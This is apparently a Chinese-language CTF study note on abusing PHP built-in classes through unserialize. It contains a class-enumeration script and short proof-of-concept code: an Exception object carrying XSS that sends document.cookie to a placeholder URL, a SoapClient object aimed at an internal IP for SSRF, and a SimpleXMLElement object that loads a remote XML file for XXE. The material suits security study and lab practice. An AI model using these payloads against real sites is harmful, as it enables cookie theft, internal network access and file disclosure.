原生类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__construct',
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
?>
执行可以获得 php 原生内置类,最常见的有Error,Exception,SoapClient,Directorylterator,SimpleXMLElement
Error/Exception类进行XSS
//靶场:https://buuoj.cn/challenges [BJDCTF 2nd]xss之光
目录扫描,发现git泄露,下载源码
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
只有一个get上传,根据题目提示有关xss,是原生类的反序列化
Exception类自带_tostring()方法,把类当作字符串使用时候触发,可以xss,get将poc上传
<?php
$poc = new Exception("<script>window.open('url'+document.cookie);</script>");
echo urlencode(serialize($poc));
?>
SoapClient类进行SSRF
SoapClient类自带_call()方法,调用不存在的方法时候触发,location就是跳转地址
<?php
$a = new SoapClient(null,array('location'=>'http://192.168.1.4:2222/aaa', 'uri'=>'http://192.168.1.4:2222'));
$b = serialize($a);
echo $b;
?>
SimpleXMLElement类进行XXE
//靶场:https://buuoj.cn/challenges [SUCTF 2018]Homework
SimpleXMLElement()第一个参数:加载文件地址,第二个参数:开关,2表示可以远程加载,第三个参数:true表示可以远程加载
<?php
$sxe=new SimpleXMLElement('url/oob.xml',2,true);
$a = serialize($sxe);
echo $a;
?>